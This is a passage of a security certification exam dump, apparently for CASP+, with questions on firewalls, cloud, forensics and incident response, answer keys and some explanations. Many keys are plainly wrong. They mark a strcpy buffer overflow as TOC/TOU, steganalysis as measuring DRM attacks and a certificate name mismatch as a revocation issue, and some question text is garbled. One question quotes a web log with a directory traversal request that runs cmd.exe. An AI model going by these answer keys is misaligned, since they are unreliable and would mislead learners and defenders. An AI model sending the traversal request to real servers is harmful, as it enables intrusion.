Web servers should only connect to preapproved corporate database servers.
Employees' computing devices should only connect to web services over ports 80 and 443.
Which of the following should the architect recommend to ensure all requirements are met in the MOST secure manner? (Choose two.)

- A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
- B. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
- C. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
- D. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
- E. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
- F. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443

Answer: AD

NEW QUESTION 176

Which of the following is a benefit of using steganalysis techniques in forensic response?

- A. Breaking a symmetric cipher used in secure voice communications
- B. Determining the frequency of unique attacks against DRM-protected media
- C. Maintaining chain of custody for acquired evidence
- D. Identifying least significant bit encoding of data in a .wav file

Answer: B

NEW QUESTION 177

A small company needs to reduce its operating costs. vendors have proposed solutions, which all focus on management of the company's website and services. The Chief information Security Officer (CISO) insist all available resources in the proposal must be dedicated, but managing a private cloud is not an option. Which of the following is the BEST solution for this company?

- A. Community cloud service model
- B. Multitenancy SaaS
- C. Single-tenancy SaaS
- D. On-premises cloud service model

Answer: A

NEW QUESTION 178

A company launched a new service and created a landing page within its website network for users to access the service. Per company policy, all websites must utilize encryption for any authentication pages. A junior network administrator proceeded to use an outdated procedure to order new certificates. Afterward, customers are reporting the following error when accessing a new web page: NET:ERR_CERT_COMMON_NAME_INVALID. Which of the following BEST describes what the administrator should do NEXT?

- A. Request a new certificate with the correct subject alternative name that includes the new websites.
- B. Request a new certificate with the correct organizational unit for the company's website.
- C. Request a new certificate with a stronger encryption strength and the latest cipher suite.
- D. Request a new certificate with the same information but including the old certificate on the CRL.

Answer: D

NEW QUESTION 183

A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:

```
0x014435a5 <+7>: mov 0x8(%ebp),%eax
0x014435a8 <+10>: movl 0xffffffff,-0x1c(%ebp) //Tester note, Start
0x014435af <+17>: mov %eax,%edx
0x014435b1 <+19>: mov $0x0,%eax
0x014435b6 <+24>: mov -0x1c(%ebp),%ecx
0x014435b9 <+27>: mov %edx,%edi
0x014435bb <+29>: repnz scas %eax(%edi),%al
0x014435bd <+31>: mov %ecx,%eax
0x014435bf <+33>: not %eax
0x014435c1 <+35>: sub $0x1,%eax //Tester note, end
0x014435c4 <+38>: mov %al,-0x9(%ebp)
0x014435c7 <+41>: cmpl $0x3,-0x9(%ebp) //Tester note <=4
0x014435cb <+45>: jbe 0x1448500 <validate_password>38>
0x014435cd <+47>: cmpl $0x6,-0x9(%ebp) //Tester note >=8
0x014435d1 <+51>: ja 0x1448500 <validate_password>98>
0x014435d3 <+53>: movl $0x1448660,(%esp)
0x014435da <+60>: call 0x14483a0 <puts@plt>
0x014435df <+65>: mov 0x144e020,%eax
0x014435e6 <+70>: mov %eax,(%esp)
0x014435e7 <+73>: call 0x1448380 <fflush@plt>
0x014435ec <+78>: mov 0x8(%ebp),%eax
0x014435ef <+81>: mov %eax,0x4(%esp)
0x014435f3 <+85>: lea -0x14(%ebp),%eax
0x014435f6 <+88>: mov %eax,(%esp)
0x014435f9 <+91>: call 0x1448390 <strcpy@plt> //Tester note, breakpoint
0x014435fe <+96>: jmp 0x1448519 <validate_password>122>
0x01448500 <+98>: movl $0x144866f,(%esp)
```

The penetration testers MOST likely took advantage of:

- A. A TOC/TOU vulnerability
- B. A plain-text password disclosure
- C. An integer overflow vulnerability
- D. A buffer overflow vulnerability

Answer: A

NEW QUESTION 184

An organization is establishing a new software assurance program to vet applications before they are introduced into the production environment, Unfortunately, many Of the applications are provided only as compiled binaries. Which Of the following should the organization use to analyze these applications? (Select TWO).

- A. Regression testing
- B. SAST
- C. Third-party dependency management
- D. IDE SAST
- E. Fuzz testing
- F. IAST

Answer: DE

NEW QUESTION 186

While investigating a security event, an analyst finds evidence that a user opened an email attachment from an unknown source. Shortly after the user opened the attachment, a group of servers experienced a large amount of network and resource activity. Upon investigating the servers, the analyst discovers the servers were encrypted by ransomware that is demanding payment within 48 hours or all data will be destroyed. The company has no response plans for ransomware. Which of the following is the NEXT step the analyst should take after reporting the incident to the management team?

- A. Pay the ransom within 48 hours.
- B. Isolate the servers to prevent the spread.
- C. Notify law enforcement.
- D. Request that the affected servers be restored immediately.

Answer: B

NEW QUESTION 189

A security analyst is reviewing network connectivity on a Linux workstation and examining the active TCP connections using the command line. Which of the following commands would be the BEST to run to view only active Internet connections?

- A. `sudo netstat -antu | grep "LISTEN" | awk '{print$5}'`
- B. `sudo netstat -nlt -p | grep "ESTABLISHED"`
- C. `sudo netstat -plntu | grep -v "Foreign Address"`
- D. `sudo netstat -pnut -w | column -t -s $'\w'`
- E. `sudo netstat -pnut | grep -P ^tcp`

Answer: E

NEW QUESTION 191

A company just released a new video card. Due to limited supply and high demand, attackers are employing automated systems to purchase the device through the company's web store so they can resell it on the secondary market. The company's intended customers are frustrated. A security engineer suggests implementing a CAPTCHA system on the web store to help reduce the number of video cards purchased through automated systems. Which of the following now describes the level of risk?

- A. Inherent Low
- B. Mitigated
- C. Residual
- D. Transferred

Answer: A

NEW QUESTION 192

A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process memory location.

Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?

- A. Execute never
- B. No-execute
- C. Total memory encryption
- D. Virtual memory encryption

Answer: B

NEW QUESTION 195

A company is moving most of its customer-facing production systems to the cloud-facing production systems to the cloud. IaaS is the service model being used. The Chief Executive Officer is concerned about the type of encryption available and requires the solution must have the highest level of security. Which of the following encryption methods should the cloud security engineer select during the implementation phase?

- A. Instance-based
- B. Storage-based
- C. Proxy-based
- D. Array controller-based

Answer: B

Explanation:

We recommend that you encrypt your virtual hard disks (VHDs) to help protect your boot volume and data volumes at rest in storage, along with your encryption keys and secrets. Azure Disk Encryption helps you encrypt your Windows and Linux IaaS virtual machine disks. Azure Disk Encryption uses the industry-standard BitLocker feature of Windows and the DM-Crypt feature of Linux to provide volume encryption for the OS and the data disks. The solution is integrated with Azure Key Vault to help you control and manage the disk-encryption keys and secrets in your key vault subscription. The solution also ensures that all data on the virtual machine disks are encrypted at rest in Azure Storage.

<https://docs.microsoft.com/en-us/azure/security/fundamentals/iaas>

NEW QUESTION 197

A Chief Information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:

```
High (CVSS: 10.0)
NVT: PHP 'php_stream_sendto()' Buffer Overflow Vulnerability (Windows) (CVD: 1.3.4.1.4.1.2162).1.1.000017
Product detection result: cpe:/a:php:php:5.3.6 by DMS Version Detection (Remote: 4011) 1.3.4.1.4.1.2162.1.3.000009

Summary
This host is running PHP and is prone to buffer overflow vulnerability.
Vulnerability Detection Result: installed version: 5.3.6
Fixed version: 5.3.17/5.4.5

Impact
Successful exploitation could allow attackers to execute arbitrary code and failed attempts will likely result in denial-of-service conditions. Impact Level: system/application
```

Which of the following MOST appropriate corrective action to document for this finding?

- A. The product owner should perform a business impact assessment regarding the ability to implement a WAF.
- B. The application developer should use a static code analysis tool to ensure any application code is not vulnerable to buffer overflows.
- C. The system administrator should evaluate dependencies and perform upgrade as necessary.
- D. The security operations center should develop a custom IDS rule to prevent attacks buffer overflows against this server.

Answer: A

NEW QUESTION 202

An IT administrator is reviewing all the servers in an organization and notices that a server is missing crucial practice against a recent exploit that could gain root access.

Which of the following describes the administrator's discovery?

- A. A vulnerability
- B. A threat
- C. A breach
- D. A risk

Answer: A

NEW QUESTION 205

Which of the following controls primarily detects abuse of privilege but does not prevent it?

- A. Off-boarding
- B. Separation of duties
- C. Least privilege
- D. Job rotation

Answer: A

NEW QUESTION 209

An engineering team is developing and deploying a fleet of mobile devices to be used for specialized inventory management purposes. These devices should:

- * Be based on open-source Android for user familiarity and ease.
- * Provide a single application for inventory management of physical assets.
- * Permit use of the camera be only the inventory application for the purposes of scanning
- * Disallow any and all configuration baseline modifications.
- * Restrict all access to any device resource other than those requirement ?

- A. Set an application wrapping policy, wrap the application, distributes the inventory APK via the MAM tool, and test the application restrictions.
- B. Write a MAC sepolicy that defines domains with rules, label the inventory application, build the policy, and set to enforcing mode.
- C. Swap out Android Linux kernel version for >2,4,0, but the internet build Android, remove unnecessary functions via MDL, configure to block network access, and perform integration testing
- D. Build and install an Android middleware policy with requirements added, copy the file into/ user/init, and then built the inventory application.

Answer: A

NEW QUESTION 210

A security analyst needs to recommend a remediation to the following threat:

```
GET http://comptia.com/casp/search?q=scriptingcrc
GET http://comptia.com/casp/..%55../Windows/System32/cmd.exe?/c+sql+s:\
POST http://comptia.com/casp/login.asp
GET http://comptia.com/casp/user=54x90211z
```

Which of the following actions should the security analyst propose to prevent this successful exploitation?

- A. Patch the system.
- B. Update the antivirus.
- C. Install a host-based firewall.
- D. Enable TLS 1.2.

Answer: D

NEW QUESTION 214

A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.

Which of the following would provide the BEST boot loader protection?

- A. TPM
- B. HSM
- C. PKI
- D. UEFI/BIOS

Answer: D

NEW QUESTION 215

An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:

ERR_SSL_VERSION_OR_CIPHER_MISMATCH

Which of the following is MOST likely the root cause?

- A. The client application is testing PFS.
- B. The client application is configured to use ECDHE.

- C. The client application is configured to use RC4.
- D. The client application is configured to use AES-256 in GCM.

Answer: C

NEW QUESTION 217

An organization's finance system was recently attacked. A forensic analyst is reviewing the contents of the compromised files for credit card data. Which of the following commands should the analyst run to BEST determine whether financial data was lost?

- A. `grep -v '^4[0-9]{12}(:[0-9]{3})?$' file`
- B. `grep '^4[0-9]{12}(:[0-9]{3})?$' file`
- C. `grep '^6(?:011|5[0-9]{2})[0-9]{12}?' file`
- D. `grep -v '^6(?:011|5[0-9]{2})[0-9]{12}?' file`

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: C

NEW QUESTION 222

A home automation company just purchased and installed tools for its SOC to enable incident identification and response on software the company develops. The company would like to prioritize defenses against the following attack scenarios:

Unauthorized insertions into application development environments

Authorized insiders making unauthorized changes to environment configurations

Which of the following actions will enable the data feeds needed to detect these types of attacks on development environments? (Choose two.)

- A. Perform static code analysis of committed code and generate summary reports.
- B. Implement an XML gateway and monitor for policy violations.
- C. Monitor dependency management tools and report on susceptible third-party libraries.
- D. Install an IDS on the development subnet and passively monitor for vulnerable services.
- E. Model user behavior and monitor for deviations from normal.
- F. Continuously monitor code commits to repositories and generate summary logs.

Answer: AF

NEW QUESTION 223

An organization recently started processing, transmitting, and storing its customers' credit card information. Within a week of doing so, the organization suffered a massive breach that resulted in the exposure of the customers' information.

Which of the following provides the BEST guidance for protecting such information while it is at rest and in transit?

- A. NIST
- B. GDPR
- C. PCI DSS
- D. ISO

Answer: C

NEW QUESTION 226

A company wants to protect its intellectual property from theft. The company has already applied ACLs and DACs.

Which of the following should the company use to prevent data theft?

- A. Watermarking
- B. DRM
- C. NDA
- D. Access logging

Answer: A

NEW QUESTION 230

As part of the customer registration process to access a new bank account, customers are required to upload a number of documents, including their passports and driver's licenses. The process also requires customers to take a current photo of themselves to be compared against provided documentation.

Which of the following BEST describes this process?

- A. Deepfake
- B. Know your customer
- C. Identity proofing
- D. Passwordless

Answer: C

NEW QUESTION 232

All staff at a company have started working remotely due to a global pandemic. To transition to remote work, the company has migrated to SaaS collaboration tools. The human resources department wants to use these tools to process sensitive information but is concerned the data could be:
Leaked to the media via printing of the documents
Sent to a personal email address
Accessed and viewed by systems administrators
Uploaded to a file storage site
Which of the following would mitigate the department's concerns?

- A. Data loss detection, reverse proxy, EDR, and PGP
- B. VDI, proxy, CASB, and DRM
- C. Watermarking, forward proxy, DLP, and MFA
- D. Proxy, secure VPN, endpoint encryption, and AV

Answer: C

NEW QUESTION 237

A company is preparing to deploy a global service.
Which of the following must the company do to ensure GDPR compliance? (Choose two.)

- A. Inform users regarding what data is stored.
- B. Provide opt-in/out for marketing messages.
- C. Provide data deletion capabilities.
- D. Provide optional data encryption.
- E. Grant data access to third parties.
- F. Provide alternative authentication techniques.

Answer: AC

Explanation:

The main rights for individuals under the GDPR are to: allow subject access
have inaccuracies corrected
have information erased
prevent direct marketing
prevent automated decision-making and profiling
allow data portability (as per the paragraph above)
source: <https://www.clouddirect.net/11-things-you-must-do-now-for-gdpr-compliance/>

NEW QUESTION 238

A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate.
This is an example of:

- A. due intelligence
- B. e-discovery.
- C. due care.
- D. legal hold.

Answer: A

NEW QUESTION 241

A company's SOC has received threat intelligence about an active campaign utilizing a specific vulnerability. The company would like to determine whether it is vulnerable to this active campaign.
Which of the following should the company use to make this determination?

- A. Threat hunting
- B. A system penetration test
- C. Log analysis within the SIEM tool
- D. The Cyber Kill Chain

Answer: A

NEW QUESTION 246

An organization is developing a disaster recovery plan that requires data to be backed up and available at a moment's notice.
Which of the following should the organization consider FIRST to address this requirement?

- A. Implement a change management plan to ensure systems are using the appropriate versions.
- B. Hire additional on-call staff to be deployed if an event occurs.
- C. Design an appropriate warm site for business continuity.
- D. Identify critical business processes and determine associated software and hardware requirements.

Answer: D

NEW QUESTION 248

A security compliance requirement states that specific environments that handle sensitive data must be protected by need-to-know restrictions and can only connect to authorized endpoints. The requirement also states that a DLP solution within the environment must be used to control the data from leaving the environment.
Which of the following should be implemented for privileged users so they can support the environment from their workstations while remaining compliant?

- A. NAC to control authorized endpoints
- B. FIM on the servers storing the data
- C. A jump box in the screened subnet

D. A general VPN solution to the primary network

Answer: A

Explanation:

Network Access Control (NAC) is used to bolster the network security by restricting the availability of network resources to managed endpoints that don't satisfy the compliance requirements of the Organization.

NEW QUESTION 253

In preparation for the holiday season, a company redesigned the system that manages retail sales and moved it to a cloud service provider. The new infrastructure did not meet the company's availability requirements. During a postmortem analysis, the following issues were highlighted:

- * 1. International users reported latency when images on the web page were initially loading.
- * 2. During times of report processing, users reported issues with inventory when attempting to place orders.
- * 3. Despite the fact that ten new API servers were added, the load across servers was heavy at peak times. Which of the following infrastructure design changes would be BEST for the organization to implement to avoid these issues in the future?

- A. Serve static content via distributed CDNs, create a read replica of the central database and pull reports from there, and auto-scale API servers based on performance.
- B. Increase the bandwidth for the server that delivers images, use a CDN, change the database to a non-relational database, and split the ten API servers across two load balancers.
- C. Serve images from an object storage bucket with infrequent read times, replicate the database across different regions, and dynamically create API servers based on load.
- D. Serve static-content object storage across different regions, increase the instance size on the managed relational database, and distribute the ten API servers across multiple regions.

Answer: A

NEW QUESTION 258

A software development company makes its software version available to customers from a web portal. On several occasions, hackers were able to access the software repository to change the package that is automatically published on the website. Which of the following would be the BEST technique to ensure the software the users download is the official software released by the company?

- A. Distribute the software via a third-party repository.
- B. Close the web repository and deliver the software via email.
- C. Email the software link to all customers.
- D. Display the SHA checksum on the website.

Answer: D

NEW QUESTION 260

A security analyst is reviewing the following vulnerability assessment report:

```
192.168.1.5, Host = Server1, CVS7.5, Web Server, Remotely Executable = Yes, Exploit = Yes
205.1.3.5, Host = Server2, CVS6.5, Bind Server, Remotely Executable = Yes, Exploit = POC
207.1.5.7, Host = Server3, CVS5.5, Email server, Remotely Executable = Yes, Exploit = Yes
192.168.1.6, Host = Server4, CVS9.8, Domain Controller, Remotely Executable = Yes, Exploit = No
```

Which of the following should be patched FIRST to minimize attacks against Internet-facing hosts?

- A. Server1
- B. Server2
- C. Server 3
- D. Servers

Answer: A

NEW QUESTION 261

An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.

Which of the following designs would be BEST for the CISO to use?

- A. Adding a second redundant layer of alternate vendor VPN concentrators
- B. Using Base64 encoding within the existing site-to-site VPN connections
- C. Distributing security resources across VPN sites
- D. Implementing IDS services with each VPN concentrator
- E. Transitioning to a container-based architecture for site-based services

Answer: A

Explanation:

If one VPN concentrator goes down due to a zero-day threat, having a redundant VPN concentrator of a different vendor should keep you going.

NEW QUESTION 265

A SOC analyst is reviewing malicious activity on an external, exposed web server. During the investigation, the analyst determines specific traffic is not being logged, and there is no visibility from the WAF for the web application.

Which of the following is the MOST likely cause?

- A. The user agent client is not compatible with the WAF.
- B. A certificate on the WAF is expired.
- C. HTTP traffic is not forwarding to HTTPS to decrypt.
- D. Old, vulnerable cipher suites are still being used.

Answer: D

NEW QUESTION 269

A company's Chief Information Officer wants to Implement IDS software onto the current system's architecture to provide an additional layer of security. The software must be able to monitor system activity, provide Information on attempted attacks, and provide analysis of malicious activities to determine the processes or users Involved. Which of the following would provide this information?

- A. HIPS
- B. UEBA
- C. HIDS
- D. NIDS

Answer: B

NEW QUESTION 273

An organization mat provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of self-healing that includes monitoring performance and available resources. When me system detects an issue, the self-healing process is supposed to restart pans of me software. During the incident, when me self-healing system attempted to restart the services, available disk space on the data drive to restart all the services was inadequate. The self-healing system did not detect that some services did not fully restart and declared me system as fully operational. Which of the following BEST describes me reason why the silent failure occurred?

- A. The system logs rotated prematurely.
- B. The disk utilization alarms are higher than what me service restarts require.
- C. The number of nodes in me self-healing cluster was healthy,
- D. Conditional checks prior to the service restart succeeded.

Answer: D

NEW QUESTION 274

An organization developed a social media application that is used by customers in multiple remote geographic locations around the world. The organization's headquarters and only datacenter are located in New York City. The Chief Information Security Officer wants to ensure the following requirements are met for the social media application:

Low latency for all mobile users to improve the users' experience SSL offloading to improve web server performance

Protection against DoS and DDoS attacks High availability

Which of the following should the organization implement to BEST ensure all requirements are met?

- A. A cache server farm in its datacenter
- B. A load-balanced group of reverse proxy servers with SSL acceleration
- C. A CDN with the origin set to its datacenter
- D. Dual gigabit-speed Internet connections with managed DDoS prevention

Answer: B

NEW QUESTION 275

A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?

- A. Simultaneous Authentication of Equals
- B. Enhanced open
- C. Perfect forward secrecy
- D. Extensible Authentication Protocol

Answer: A

NEW QUESTION 280

An attack team performed a penetration test on a new smart card system. The team demonstrated that by subjecting the smart card to high temperatures, the secret key could be revealed.

Which of the following side-channel attacks did the team use?

- A. Differential power analysis
- B. Differential fault analysis
- C. Differential temperature analysis
- D. Differential timing analysis

Answer: B

Explanation:

"Differential fault analysis (DFA) is a type of active side-channel attack in the field of cryptography, specifically cryptanalysis. The principle is to induce faults—unexpected environmental conditions—into cryptographic operations, to reveal their internal states."

NEW QUESTION 285

A security architect is given the following requirements to secure a rapidly changing enterprise with an increasingly distributed and remote workforce

- Cloud-delivered services
- Full network security stack
- SaaS application security management
- Minimal latency for an optimal user experience
- Integration with the cloud IAM platform Which of the following is the BEST solution?

- A. Routing and Remote Access Service (RRAS)
- B. NGFW
- C. Managed Security Service Provider (MSSP)
- D. SASE

Answer: D

NEW QUESTION 288

A business stores personal client data of individuals residing in the EU in order to process requests for mortgage loan approvals. Which of the following does the business's IT manager need to consider?

- A. The availability of personal data
- B. The right to personal data erasure
- C. The company's annual revenue
- D. The language of the web application

Answer: B

NEW QUESTION 292

A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.

```
Test email sent from bp_app01 to external client_app01_mailing_list.
```

Which of the following should the security analyst perform?

- A. Contact the security department at the business partner and alert them to the email event.
- B. Block the IP address for the business partner at the perimeter firewall.
- C. Pull the devices of the affected employees from the network in case they are infected with a zero-day virus.
- D. Configure the email gateway to automatically quarantine all messages originating from the business partner.

Answer: A

NEW QUESTION 297

A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.

```
procs -----memory-----swap---io--  --system--  -----cpu-----
r b swpd free  buff  cache  si so bi    bo          in  cs   us sy id wa st
3 0 0    44712 110052 623096 0  0 304023 30004040    217 883   13 3  83 1  0
1 0 0    44408 110052 623096 0  0  300    200003    88 1446  31 4  65 0  0
0 0 0    44524 110052 623096 0  0 400020  20         84  872   11 2  87 0  0
0 2 0    44516 110052 623096 0  0  10      0        149 142   18 5  77 0  0
0 0 0    44524 110052 623096 0  0  0        0         60  431   14 1  85 0  0
```

Based on the output above, from which of the following process IDs can the analyst begin an investigation?

- A. 65
- B. 77
- C. 83
- D. 87

Answer: C

NEW QUESTION 298

A system administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT?

- A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2.
- B. Take an MD5 hash of the server.
- C. Delete all PHI from the network until the legal department is consulted.
- D. Consult the legal department to determine the legal requirements.

Answer: A

NEW QUESTION 299

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